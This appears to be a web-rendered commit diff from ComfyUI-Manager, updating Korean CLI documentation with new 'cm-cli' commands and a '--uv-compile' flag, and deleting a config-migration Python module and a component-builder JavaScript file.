* ComfyUI 의 경로는 COMFYUI_PATH 환경 변수로 설정할 수 있습니다. 만약 생략할 경우 다음과 같은 경고 메시지가 나타나며, ComfyUI-Manager가 설치된 경로를 기준으로 상대 경로로 설정됩니다.
```
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
```
`.\python_embeded\python.exe -m cm_cli update all`
* ComfyUI 의 경로는 `COMFYUI_PATH` 환경 변수로 설정해야 합니다.
## Features
### 1. --channel, --mode
* 정보 보기 기능과 커스텀 노드 관리 기능의 경우는 --channel과 --mode를 통해 정보 DB를 설정할 수 있습니다.
* 예를 들어 `python cm-cli.py update all --channel recent --mode remote`와 같은 명령을 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
* 예를 들어 `cm-cli update all --channel recent --mode remote`와 같은 명령을 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
* --channel, --mode 는 `simple-show, show, install, uninstall, update, disable, enable, fix` 명령에서만 사용 가능합니다.
### 2. 관리 정보 보기
@@ -51,7 +50,7 @@ OPTIONS:
* `[show|simple-show]` - `show`는 상세하게 정보를 보여주며, `simple-show`는 간단하게 정보를 보여줍니다.
`python cm-cli.py show installed` 와 같은 명령을 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
`cm-cli show installed` 와 같은 명령을 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -67,7 +66,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
```
`python cm-cli.py simple-show installed` 와 같은 명령을 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
`cm-cli simple-show installed` 와 같은 명령을 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -96,7 +95,7 @@ ComfyUI-Loopchain
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
* `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
* `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
* 커스텀 노드의 이름은 `show`를 했을 때 보여주는 이름이며, git repository의 이름입니다.
(추후 nickname을 사용 가능하도록 업데이트할 예정입니다.)
@@ -113,11 +112,26 @@ ComfyUI-Loopchain
* `enable`: 지정된 커스텀 노드들을 활성화합니다.
* `fix`: 지정된 커스텀 노드의 의존성을 고치기 위한 시도를 합니다.
#### `--uv-compile` 플래그 (`install`, `reinstall`, `update`, `fix`)
`--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고, 모든 작업이 완료된 후 `uv pip compile`로 전체 의존성을 한 번에 일괄 해결합니다.
* `uv`가 설치된 환경에서만 동작합니다.
* 여러 노드 팩 간의 의존성 충돌을 방지합니다.
* 해결 실패 시 충돌 패키지와 해당 패키지를 요청한 노드 팩 목록을 표시합니다.
* `reinstall --uv-compile``--no-deps`와 동시에 사용할 수 없습니다.
```bash
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
cm-cli update all --uv-compile
cm-cli fix ComfyUI-Impact-Pack --uv-compile
```
### 4. 스냅샷 관리 기능
* `python cm-cli.py save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
* `cm-cli save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
* --output 으로 임의의 경로에 .yaml 파일과 format으로 저장할 수 있습니다.
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
* snapshot 경로에 파일이 존재하는 경우 해당 snapshot을 로드합니다.
* snapshot 경로에 파일이 존재하지 않는 경우 묵시적으로, ComfyUI-Manager/snapshots 에 있다고 가정합니다.
* `--pip-non-url`: PyPI 에 등록된 pip 패키지들에 대해서 복구를 수행
@@ -126,25 +140,35 @@ ComfyUI-Loopchain
* `--user-directory`: 사용자 디렉토리 설정
* `--restore-to`: 복구될 커스텀 노드가 설치될 경로. (이 옵션을 적용할 경우 오직 대상 경로에 설치된 custom nodes만 설치된 것으로 인식함.)
### 5. CLI only mode
### 5. 의존성 설치
ComfyUI-Manager를 CLI로만 사용할 것인지를 설정할 수 있습니다.
`cli-only-mode [enable|disable]`
* security 혹은 policy 의 이유로 GUI 를 통한 ComfyUI-Manager 사용을 제한하고 싶은 경우 이 모드를 사용할 수 있습니다.
* CLI only mode를 적용할 경우 ComfyUI-Manager 가 매우 제한된 상태로 로드되어, 내부적으로 제공하는 web API가 비활성화되며, 메인 메뉴에서도 Manager 버튼이 표시되지 않습니다.
### 6. 의존성 설치
`restore-dependencies`
`restore-dependencies ?[--uv-compile]`
* `ComfyUI/custom_nodes` 하위 경로에 커스텀 노드들이 설치되어 있긴 하지만, 의존성이 설치되지 않은 경우 사용할 수 있습니다.
* Colab과 같이 cloud instance를 새로 시작하는 경우 의존성 재설치 및 설치 스크립트가 재실행되어야 하는 경우 사용합니다.
* ComfyUI를 재설치할 경우, custom_nodes 경로만 백업했다가 재설치할 경우 활용 가능합니다.
* `--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고 일괄 해결합니다.
### 6. 의존성 파일로 설치
### 7. clear
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
* 의존성 spec 파일(`.json`) 또는 워크플로우 파일(`.png`/`.json`)에 명시된 커스텀 노드를 설치합니다.
* `--uv-compile` 플래그를 사용하면 모든 노드 설치 후 일괄 의존성 해결을 수행합니다.
### 7. uv-compile
`uv-compile ?[--user-directory <path>]`
* 설치된 모든 커스텀 노드 팩의 의존성을 `uv pip compile`로 일괄 해결하고 설치합니다.
* ComfyUI를 재시작하지 않고 의존성 환경을 복구하거나 초기 설정 시 활용할 수 있습니다.
* `uv`가 설치된 환경에서만 동작합니다.
```bash
cm-cli uv-compile
cm-cli uv-compile --user-directory /path/to/comfyui
```
### 8. clear
GUI에서 install, update를 하거나 snapshot을 restore하는 경우 예약을 통해서 다음번 ComfyUI를 실행할 경우 실행되는 구조입니다. `clear` 는 이런 예약 상태를 clear해서, 아무런 사전 실행이 적용되지 않도록 합니다.
-29257
View File
File diff suppressed because it is too large Load Diff
-356
View File
@@ -1,356 +0,0 @@
"""
ComfyUI-Manager migration module.
Handles migration from legacy paths to new __manager path structure.
"""
import os
import sys
import subprocess
import configparser
# Startup notices for notice board
startup_notices = [] # List of (message, level) tuples
def add_startup_notice(message, level='warning'):
"""Add a notice to be displayed on Manager notice board.
Args:
message: HTML-formatted message string
level: 'warning', 'error', 'info'
"""
global startup_notices
startup_notices.append((message, level))
# Cache for API check (computed once per session)
_cached_has_system_user_api = None
def has_system_user_api():
"""Check if ComfyUI has the System User Protection API (PR #10966).
Result is cached for performance.
"""
global _cached_has_system_user_api
if _cached_has_system_user_api is None:
try:
import folder_paths
_cached_has_system_user_api = hasattr(folder_paths, 'get_system_user_directory')
except Exception:
_cached_has_system_user_api = False
return _cached_has_system_user_api
def get_manager_path(user_dir):
"""Get the appropriate manager files path based on ComfyUI version.
Returns:
str: manager_files_path
"""
if has_system_user_api():
return os.path.abspath(os.path.join(user_dir, '__manager'))
else:
return os.path.abspath(os.path.join(user_dir, 'default', 'ComfyUI-Manager'))
def run_migration_checks(user_dir, manager_files_path):
"""Run all migration and security checks.
Call this after get_manager_path() to handle:
- Legacy config migration (new ComfyUI)
- Legacy backup notification (every startup)
- Suspicious directory detection (old ComfyUI)
- Outdated ComfyUI warning (old ComfyUI)
"""
if has_system_user_api():
migrated = migrate_legacy_config(user_dir, manager_files_path)
# Only check for legacy backup if migration didn't just happen
# (migration already shows backup location in its message)
if not migrated:
check_legacy_backup(manager_files_path)
else:
check_suspicious_manager(user_dir)
warn_outdated_comfyui()
def check_legacy_backup(manager_files_path):
"""Check for legacy backup and notify user to verify and remove it.
This runs on every startup to remind users about pending legacy backup.
"""
backup_dir = os.path.join(manager_files_path, '.legacy-manager-backup')
if not os.path.exists(backup_dir):
return
# Terminal output
print("\n" + "-"*70)
print("[ComfyUI-Manager] NOTICE: Legacy backup exists")
print(" - Your old Manager data was backed up to:")
print(f" {backup_dir}")
print(" - Please verify and remove it when no longer needed.")
print("-"*70 + "\n")
# Notice board output
add_startup_notice(
"Legacy ComfyUI-Manager data backup exists. Please verify and remove when no longer needed. See terminal for details.",
level='info'
)
def check_suspicious_manager(user_dir):
"""Check for suspicious __manager directory on old ComfyUI.
On old ComfyUI without System User API, if __manager exists with low security,
warn the user to verify manually.
Returns:
bool: True if suspicious setup detected
"""
if has_system_user_api():
return False # Not suspicious on new ComfyUI
suspicious_path = os.path.abspath(os.path.join(user_dir, '__manager'))
if not os.path.exists(suspicious_path):
return False
config_path = os.path.join(suspicious_path, 'config.ini')
if not os.path.exists(config_path):
return False
config = configparser.ConfigParser()
config.read(config_path)
sec_level = config.get('default', 'security_level', fallback='normal').lower()
if sec_level in ['weak', 'normal-']:
# Terminal output
print("\n" + "!"*70)
print("[ComfyUI-Manager] ERROR: Suspicious path detected!")
print(f" - '__manager' exists with low security level: '{sec_level}'")
print(" - Please verify manually:")
print(f" {config_path}")
print("!"*70 + "\n")
# Notice board output
add_startup_notice(
"[Security Alert] Suspicious path detected. See terminal log for details.",
level='error'
)
return True
return False
def warn_outdated_comfyui():
"""Warn user about outdated ComfyUI without System User API."""
if has_system_user_api():
return
# Terminal output
print("\n" + "!"*70)
print("[ComfyUI-Manager] ERROR: ComfyUI version is outdated!")
print(" - Most operations are blocked for security.")
print(" - ComfyUI update is still allowed.")
print(" - Please update ComfyUI to use Manager normally.")
print("!"*70 + "\n")
# Notice board output
add_startup_notice(
"[Security Alert] ComfyUI outdated. Installations blocked (update allowed).<BR>"
"Update ComfyUI for normal operation.",
level='error'
)
def migrate_legacy_config(user_dir, manager_files_path):
"""Migrate ONLY config.ini to new __manager path if needed.
IMPORTANT: Only config.ini is migrated. Other files (snapshots, cache, etc.)
are NOT migrated - users must recreate them.
Scenarios:
1. Legacy exists, New doesn't exist → Migrate config.ini
2. Legacy exists, New exists First update after upgrade
- Run ComfyUI dependency installation
- Rename legacy to .backup
3. Legacy doesn't exist → No migration needed
Returns:
bool: True if migration was performed
"""
if not has_system_user_api():
return False
legacy_dir = os.path.join(user_dir, 'default', 'ComfyUI-Manager')
legacy_config = os.path.join(legacy_dir, 'config.ini')
new_config = os.path.join(manager_files_path, 'config.ini')
if not os.path.exists(legacy_dir):
return False # No legacy directory, nothing to migrate
# IMPORTANT: Check for config.ini existence, not just directory
# (because makedirs() creates __manager before this function is called)
# Case: Both configs exist (first update after ComfyUI upgrade)
# This means user ran new ComfyUI at least once, creating __manager/config.ini
if os.path.exists(legacy_config) and os.path.exists(new_config):
_handle_first_update_migration(user_dir, legacy_dir, manager_files_path)
return True
# Case: Legacy config exists but new config doesn't (normal migration)
# This is the first run after ComfyUI upgrade
if os.path.exists(legacy_config) and not os.path.exists(new_config):
pass # Continue with normal migration below
else:
return False
# Terminal output
print("\n" + "-"*70)
print("[ComfyUI-Manager] NOTICE: Legacy config.ini detected")
print(f" - Old: {legacy_config}")
print(f" - New: {new_config}")
print(" - Migrating config.ini only (other files are NOT migrated).")
print(" - Security level below 'normal' will be raised.")
print("-"*70 + "\n")
_migrate_config_with_security_check(legacy_config, new_config)
# Move legacy directory to backup
_move_legacy_to_backup(legacy_dir, manager_files_path)
return True
def _handle_first_update_migration(user_dir, legacy_dir, manager_files_path):
"""Handle first ComfyUI update when both legacy and new directories exist.
This scenario happens when:
- User was on old ComfyUI (using default/ComfyUI-Manager)
- ComfyUI was updated (now has System User API)
- Manager already created __manager on first new run
- But legacy directory still exists
Actions:
1. Run ComfyUI dependency installation
2. Move legacy to __manager/.legacy-manager-backup
"""
# Terminal output
print("\n" + "-"*70)
print("[ComfyUI-Manager] NOTICE: First update after ComfyUI upgrade detected")
print(" - Both legacy and new directories exist.")
print(" - Running ComfyUI dependency installation...")
print("-"*70 + "\n")
# Run ComfyUI dependency installation
# Path: glob/manager_migration.py → glob → comfyui-manager → custom_nodes → ComfyUI
try:
comfyui_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
requirements_path = os.path.join(comfyui_path, 'requirements.txt')
if os.path.exists(requirements_path):
subprocess.run([sys.executable, '-m', 'pip', 'install', '-r', requirements_path],
capture_output=True, check=False)
print("[ComfyUI-Manager] ComfyUI dependencies installation completed.")
except Exception as e:
print(f"[ComfyUI-Manager] WARNING: Failed to install ComfyUI dependencies: {e}")
# Move legacy to backup inside __manager
_move_legacy_to_backup(legacy_dir, manager_files_path)
def _move_legacy_to_backup(legacy_dir, manager_files_path):
"""Move legacy directory to backup inside __manager.
Returns:
str: Path to backup directory if successful, None if failed
"""
import shutil
backup_dir = os.path.join(manager_files_path, '.legacy-manager-backup')
try:
if os.path.exists(backup_dir):
shutil.rmtree(backup_dir) # Remove old backup if exists
shutil.move(legacy_dir, backup_dir)
# Terminal output (full paths shown here only)
print("\n" + "-"*70)
print("[ComfyUI-Manager] NOTICE: Legacy settings migrated")
print(f" - Old location: {legacy_dir}")
print(f" - Backed up to: {backup_dir}")
print(" - Please verify and remove the backup when no longer needed.")
print("-"*70 + "\n")
# Notice board output (no full paths for security)
add_startup_notice(
"Legacy ComfyUI-Manager data migrated. See terminal for details.",
level='info'
)
return backup_dir
except Exception as e:
print(f"[ComfyUI-Manager] WARNING: Failed to backup legacy directory: {e}")
add_startup_notice(
f"[MIGRATION] Failed to backup legacy directory: {e}",
level='warning'
)
return None
def _migrate_config_with_security_check(legacy_path, new_path):
"""Migrate legacy config, raising security level only if below default."""
config = configparser.ConfigParser()
try:
config.read(legacy_path)
except Exception as e:
print(f"[ComfyUI-Manager] WARNING: Failed to parse config.ini: {e}")
print(" - Creating fresh config with default settings.")
add_startup_notice(
"[MIGRATION] Failed to parse legacy config. Using defaults.",
level='warning'
)
return # Skip migration, let Manager create fresh config
# Security level hierarchy: strong > normal > normal- > weak
# Default is 'normal', only raise if below default
if 'default' in config:
current_level = config['default'].get('security_level', 'normal').lower()
below_default_levels = ['weak', 'normal-']
if current_level in below_default_levels:
config['default']['security_level'] = 'normal'
# Terminal output
print("\n" + "="*70)
print("[ComfyUI-Manager] WARNING: Security level adjusted")
print(f" - Previous: '{current_level}' → New: 'normal'")
print(" - Raised to prevent unauthorized remote access.")
print("="*70 + "\n")
# Notice board output
add_startup_notice(
f"[MIGRATION] Security level raised: '{current_level}''normal'.<BR>"
"To prevent unauthorized remote access.",
level='warning'
)
else:
print(f" - Security level: '{current_level}' (no change needed)")
# Ensure directory exists
os.makedirs(os.path.dirname(new_path), exist_ok=True)
with open(new_path, 'w') as f:
config.write(f)
def force_security_level_if_needed(config_dict):
"""Force security level to 'strong' if on old ComfyUI.
Args:
config_dict: Configuration dictionary to modify in-place
Returns:
bool: True if security level was forced
"""
if not has_system_user_api():
config_dict['security_level'] = 'strong'
return True
return False
-812
View File
@@ -1,812 +0,0 @@
import { app } from "../../scripts/app.js";
import { api } from "../../scripts/api.js"
import { sleep, show_message, customConfirm, customAlert } from "./common.js";
import { GroupNodeConfig, GroupNodeHandler } from "../../extensions/core/groupNode.js";
import { ComfyDialog, $el } from "../../scripts/ui.js";
const SEPARATOR = ">"
let pack_map = {};
let rpack_map = {};
export function getPureName(node) {
// group nodes/
let category = null;
if(node.category) {
category = node.category.substring(12);
}
else {
category = node.constructor.category?.substring(12);
}
if(category) {
let purename = node.comfyClass.substring(category.length+1);
return purename;
}
else if(node.comfyClass.startsWith('workflow/') || node.comfyClass.startsWith(`workflow${SEPARATOR}`)) {
return node.comfyClass.substring(9);
}
else {
return node.comfyClass;
}
}
function isValidVersionString(version) {
const versionPattern = /^(\d+)\.(\d+)(\.(\d+))?$/;
const match = version.match(versionPattern);
return match !== null &&
parseInt(match[1], 10) >= 0 &&
parseInt(match[2], 10) >= 0 &&
(!match[3] || parseInt(match[4], 10) >= 0);
}
function register_pack_map(name, data) {
if(data.packname) {
pack_map[data.packname] = name;
rpack_map[name] = data;
}
else {
rpack_map[name] = data;
}
}
function storeGroupNode(name, data, register=true) {
let extra = app.graph.extra;
if (!extra) app.graph.extra = extra = {};
let groupNodes = extra.groupNodes;
if (!groupNodes) extra.groupNodes = groupNodes = {};
groupNodes[name] = data;
if(register) {
register_pack_map(name, data);
}
}
export async function load_components() {
let data = await api.fetchApi('/manager/component/loads', {method: "POST"});
let components = await data.json();
let start_time = Date.now();
let failed = [];
let failed2 = [];
for(let name in components) {
if(app.graph.extra?.groupNodes?.[name]) {
if(data) {
let data = components[name];
let category = data.packname;
if(data.category) {
category += SEPARATOR + data.category;
}
if(category == '') {
category = 'components';
}
const config = new GroupNodeConfig(name, data);
await config.registerType(category);
register_pack_map(name, data);
continue;
}
}
let nodeData = components[name];
storeGroupNode(name, nodeData);
const config = new GroupNodeConfig(name, nodeData);
while(true) {
try {
let category = nodeData.packname;
if(nodeData.category) {
category += SEPARATOR + nodeData.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
register_pack_map(name, nodeData);
break;
}
catch {
let elapsed_time = Date.now() - start_time;
if (elapsed_time > 5000) {
failed.push(name);
break;
} else {
await sleep(100);
}
}
}
}
// fallback1
for(let i in failed) {
let name = failed[i];
if(app.graph.extra?.groupNodes?.[name]) {
continue;
}
let nodeData = components[name];
storeGroupNode(name, nodeData);
const config = new GroupNodeConfig(name, nodeData);
while(true) {
try {
let category = nodeData.packname;
if(nodeData.workflow.category) {
category += SEPARATOR + nodeData.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
register_pack_map(name, nodeData);
break;
}
catch {
let elapsed_time = Date.now() - start_time;
if (elapsed_time > 10000) {
failed2.push(name);
break;
} else {
await sleep(100);
}
}
}
}
// fallback2
for(let name in failed2) {
let name = failed2[i];
let nodeData = components[name];
storeGroupNode(name, nodeData);
const config = new GroupNodeConfig(name, nodeData);
while(true) {
try {
let category = nodeData.workflow.packname;
if(nodeData.workflow.category) {
category += SEPARATOR + nodeData.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
register_pack_map(name, nodeData);
break;
}
catch {
let elapsed_time = Date.now() - start_time;
if (elapsed_time > 30000) {
failed.push(name);
break;
} else {
await sleep(100);
}
}
}
}
}
async function save_as_component(node, version, author, prefix, nodename, packname, category) {
let component_name = `${prefix}::${nodename}`;
let subgraph = app.graph.extra?.groupNodes?.[component_name];
if(!subgraph) {
subgraph = app.graph.extra?.groupNodes?.[getPureName(node)];
}
subgraph.version = version;
subgraph.author = author;
subgraph.datetime = Date.now();
subgraph.packname = packname;
subgraph.category = category;
let body =
{
name: component_name,
workflow: subgraph
};
pack_map[packname] = component_name;
rpack_map[component_name] = subgraph;
const res = await api.fetchApi('/manager/component/save', {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(body),
});
if(res.status == 200) {
storeGroupNode(component_name, subgraph);
const config = new GroupNodeConfig(component_name, subgraph);
let category = body.workflow.packname;
if(body.workflow.category) {
category += SEPARATOR + body.workflow.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
let path = await res.text();
show_message(`Component '${component_name}' is saved into:\n${path}`);
}
else
show_message(`Failed to save component.`);
}
async function import_component(component_name, component, mode) {
if(mode) {
let body =
{
name: component_name,
workflow: component
};
const res = await api.fetchApi('/manager/component/save', {
method: "POST",
headers: { "Content-Type": "application/json", },
body: JSON.stringify(body)
});
}
let category = component.packname;
if(component.category) {
category += SEPARATOR + component.category;
}
if(category == '') {
category = 'components';
}
storeGroupNode(component_name, component);
const config = new GroupNodeConfig(component_name, component);
await config.registerType(category);
}
function restore_to_loaded_component(component_name) {
if(rpack_map[component_name]) {
let component = rpack_map[component_name];
storeGroupNode(component_name, component, false);
const config = new GroupNodeConfig(component_name, component);
config.registerType(component.category);
}
}
// Using a timestamp prevents duplicate pastes and ensures the prevention of re-deletion of litegrapheditor_clipboard.
let last_paste_timestamp = null;
function versionCompare(v1, v2) {
let ver1;
let ver2;
if(v1 && v1 != '') {
ver1 = v1.split('.');
ver1[0] = parseInt(ver1[0]);
ver1[1] = parseInt(ver1[1]);
if(ver1.length == 2)
ver1.push(0);
else
ver1[2] = parseInt(ver2[2]);
}
else {
ver1 = [0,0,0];
}
if(v2 && v2 != '') {
ver2 = v2.split('.');
ver2[0] = parseInt(ver2[0]);
ver2[1] = parseInt(ver2[1]);
if(ver2.length == 2)
ver2.push(0);
else
ver2[2] = parseInt(ver2[2]);
}
else {
ver2 = [0,0,0];
}
if(ver1[0] > ver2[0])
return -1;
else if(ver1[0] < ver2[0])
return 1;
if(ver1[1] > ver2[1])
return -1;
else if(ver1[1] < ver2[1])
return 1;
if(ver1[2] > ver2[2])
return -1;
else if(ver1[2] < ver2[2])
return 1;
return 0;
}
function checkVersion(name, component) {
let msg = '';
if(rpack_map[name]) {
let old_version = rpack_map[name].version;
if(!old_version || old_version == '') {
msg = ` '${name}' Upgrade (V0.0 -> V${component.version})`;
}
else {
let c = versionCompare(old_version, component.version);
if(c < 0) {
msg = ` '${name}' Downgrade (V${old_version} -> V${component.version})`;
}
else if(c > 0) {
msg = ` '${name}' Upgrade (V${old_version} -> V${component.version})`;
}
else {
msg = ` '${name}' Same version (V${component.version})`;
}
}
}
else {
msg = `'${name}' NEW (V${component.version})`;
}
return msg;
}
async function handle_import_components(components) {
let msg = 'Components:\n';
let cnt = 0;
for(let name in components) {
let component = components[name];
let v = checkVersion(name, component);
if(cnt < 10) {
msg += v + '\n';
}
else if (cnt == 10) {
msg += '...\n';
}
else {
// do nothing
}
cnt++;
}
let last_name = null;
msg += '\nWill you load components?\n';
const confirmed = await customConfirm(msg);
if(confirmed) {
const mode = await customConfirm('\nWill you save components?\n(cancel=load without save)');
for(let name in components) {
let component = components[name];
import_component(name, component, mode);
last_name = name;
}
if(mode) {
show_message('Components are saved.');
}
else {
show_message('Components are loaded.');
}
}
if(cnt == 1 && last_name) {
const node = LiteGraph.createNode(`workflow${SEPARATOR}${last_name}`);
node.pos = [app.canvas.graph_mouse[0], app.canvas.graph_mouse[1]];
app.canvas.graph.add(node, false);
}
}
async function handlePaste(e) {
let data = (e.clipboardData || window.clipboardData);
const items = data.items;
for(const item of items) {
if(item.kind == 'string' && item.type == 'text/plain') {
data = data.getData("text/plain");
try {
let json_data = JSON.parse(data);
if(json_data.kind == 'ComfyUI Components' && last_paste_timestamp != json_data.timestamp) {
last_paste_timestamp = json_data.timestamp;
await handle_import_components(json_data.components);
// disable paste node
localStorage.removeItem("litegrapheditor_clipboard", null);
}
else {
console.log('This components are already pasted: ignored');
}
}
catch {
// nothing to do
}
}
}
}
document.addEventListener("paste", handlePaste);
export class ComponentBuilderDialog extends ComfyDialog {
constructor() {
super();
}
clear() {
while (this.element.children.length) {
this.element.removeChild(this.element.children[0]);
}
}
show() {
this.invalidateControl();
this.element.style.display = "block";
this.element.style.zIndex = 1099;
this.element.style.width = "500px";
this.element.style.height = "480px";
}
invalidateControl() {
this.clear();
let self = this;
const close_button = $el("button", { id: "cm-close-button", type: "button", textContent: "Close", onclick: () => self.close() });
this.save_button = $el("button",
{ id: "cm-save-button", type: "button", textContent: "Save", onclick: () =>
{
save_as_component(self.target_node, self.version_string.value.trim(), self.author.value.trim(), self.node_prefix.value.trim(),
self.getNodeName(), self.getPackName(), self.category.value.trim());
}
});
let default_nodename = getPureName(this.target_node).trim();
let groupNode = app.graph.extra.groupNodes[default_nodename];
let default_packname = groupNode.packname;
if(!default_packname) {
default_packname = '';
}
let default_category = groupNode.category;
if(!default_category) {
default_category = '';
}
this.default_ver = groupNode.version;
if(!this.default_ver) {
this.default_ver = '0.0';
}
let default_author = groupNode.author;
if(!default_author) {
default_author = '';
}
let delimiterIndex = default_nodename.indexOf('::');
let default_prefix = "";
if(delimiterIndex != -1) {
default_prefix = default_nodename.substring(0, delimiterIndex);
default_nodename = default_nodename.substring(delimiterIndex + 2);
}
if(!default_prefix) {
this.save_button.disabled = true;
}
this.pack_list = this.createPackListCombo();
let version_string = this.createLabeledInput('input version (e.g. 1.0)', '*Version : ', this.default_ver);
this.version_string = version_string[1];
this.version_string.disabled = true;
let author = this.createLabeledInput('input author (e.g. Dr.Lt.Data)', 'Author : ', default_author);
this.author = author[1];
let node_prefix = this.createLabeledInput('input node prefix (e.g. mypack)', '*Prefix : ', default_prefix);
this.node_prefix = node_prefix[1];
let manual_nodename = this.createLabeledInput('input node name (e.g. MAKE_BASIC_PIPE)', 'Nodename : ', default_nodename);
this.manual_nodename = manual_nodename[1];
let manual_packname = this.createLabeledInput('input pack name (e.g. mypack)', 'Packname : ', default_packname);
this.manual_packname = manual_packname[1];
let category = this.createLabeledInput('input category (e.g. util/pipe)', 'Category : ', default_category);
this.category = category[1];
this.node_label = this.createNodeLabel();
let author_mode = this.createAuthorModeCheck();
this.author_mode = author_mode[0];
const content =
$el("div.comfy-modal-content",
[
$el("tr.cm-title", {}, [
$el("font", {size:6, color:"white"}, [`ComfyUI-Manager: Component Builder`])]
),
$el("br", {}, []),
$el("div.cm-menu-container",
[
author_mode[0],
author_mode[1],
category[0],
author[0],
node_prefix[0],
manual_nodename[0],
manual_packname[0],
version_string[0],
this.pack_list,
$el("br", {}, []),
this.node_label
]),
$el("br", {}, []),
this.save_button,
close_button,
]
);
content.style.width = '100%';
content.style.height = '100%';
this.element = $el("div.comfy-modal", { id:'cm-manager-dialog', parent: document.body }, [ content ]);
}
validateInput() {
let msg = "";
if(!isValidVersionString(this.version_string.value)) {
msg += 'Invalid version string: '+event.value+"\n";
}
if(this.node_prefix.value.trim() == '') {
msg += 'Node prefix cannot be empty\n';
}
if(this.manual_nodename.value.trim() == '') {
msg += 'Node name cannot be empty\n';
}
if(msg != '') {
// alert(msg);
}
this.save_button.disabled = msg != "";
}
getPackName() {
if(this.pack_list.selectedIndex == 0) {
return this.manual_packname.value.trim();
}
return this.pack_list.value.trim();
}
getNodeName() {
if(this.manual_nodename.value.trim() != '') {
return this.manual_nodename.value.trim();
}
return getPureName(this.target_node);
}
createAuthorModeCheck() {
let check = $el("input",{type:'checkbox', id:"author-mode"},[])
const check_label = $el("label",{for:"author-mode"},["Enable author mode"]);
check_label.style.color = "var(--fg-color)";
check_label.style.cursor = "pointer";
check.checked = false;
let self = this;
check.onchange = () => {
self.version_string.disabled = !check.checked;
if(!check.checked) {
self.version_string.value = self.default_ver;
}
else {
customAlert('If you are not the author, it is not recommended to change the version, as it may cause component update issues.');
}
};
return [check, check_label];
}
createNodeLabel() {
let label = $el('p');
label.className = 'cb-node-label';
if(this.target_node.comfyClass.includes('::'))
label.textContent = getPureName(this.target_node);
else
label.textContent = " _::" + getPureName(this.target_node);
return label;
}
createLabeledInput(placeholder, label, value) {
let textbox = $el('input.cb-widget-input', {type:'text', placeholder:placeholder, value:value}, []);
let self = this;
textbox.onchange = () => {
this.validateInput.call(self);
this.node_label.textContent = this.node_prefix.value + "::" + this.manual_nodename.value;
}
let row = $el('span.cb-widget', {}, [ $el('span.cb-widget-input-label', label), textbox]);
return [row, textbox];
}
createPackListCombo() {
let combo = document.createElement("select");
combo.className = "cb-widget";
let default_packname_option = { value: '##manual', text: 'Packname: Manual' };
combo.appendChild($el('option', default_packname_option, []));
for(let name in pack_map) {
combo.appendChild($el('option', { value: name, text: 'Packname: '+ name }, []));
}
let self = this;
combo.onchange = function () {
if(combo.selectedIndex == 0) {
self.manual_packname.disabled = false;
}
else {
self.manual_packname.disabled = true;
}
};
return combo;
}
}
let orig_handleFile = app.handleFile;
async function handleFile(file, ...args) {
if (file.name?.endsWith(".json") || file.name?.endsWith(".pack")) {
const reader = new FileReader();
reader.onload = async () => {
let is_component = false;
const jsonContent = JSON.parse(reader.result);
for(let name in jsonContent) {
let cand = jsonContent[name];
is_component = cand.datetime && cand.version;
break;
}
if(is_component) {
await handle_import_components(jsonContent);
}
else {
orig_handleFile.call(app, file, ...args);
}
};
reader.readAsText(file);
return;
}
orig_handleFile.call(app, file, ...args);
}
app.handleFile = handleFile;
let current_component_policy = 'workflow';
try {
api.fetchApi('/manager/policy/component')
.then(response => response.text())
.then(data => { current_component_policy = data; });
}
catch {}
function getChangedVersion(groupNodes) {
if(!Object.keys(pack_map).length || !groupNodes)
return null;
let res = {};
for(let component_name in groupNodes) {
let data = groupNodes[component_name];
if(rpack_map[component_name]) {
let v = versionCompare(data.version, rpack_map[component_name].version);
res[component_name] = v;
}
}
return res;
}
const loadGraphData = app.loadGraphData;
app.loadGraphData = async function () {
if(arguments.length == 0)
return await loadGraphData.apply(this, arguments);
let graphData = arguments[0];
let groupNodes = graphData.extra?.groupNodes;
let res = getChangedVersion(groupNodes);
if(res) {
let target_components = null;
switch(current_component_policy) {
case 'higher':
target_components = Object.keys(res).filter(key => res[key] == 1);
break;
case 'mine':
target_components = Object.keys(res);
break;
default:
// do nothing
}
if(target_components) {
for(let i in target_components) {
let component_name = target_components[i];
let component = rpack_map[component_name];
if(component && graphData.extra?.groupNodes) {
